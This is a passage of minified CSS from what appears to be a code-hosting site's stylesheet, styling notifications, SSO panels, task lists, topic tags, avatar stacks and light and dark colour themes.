.notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: 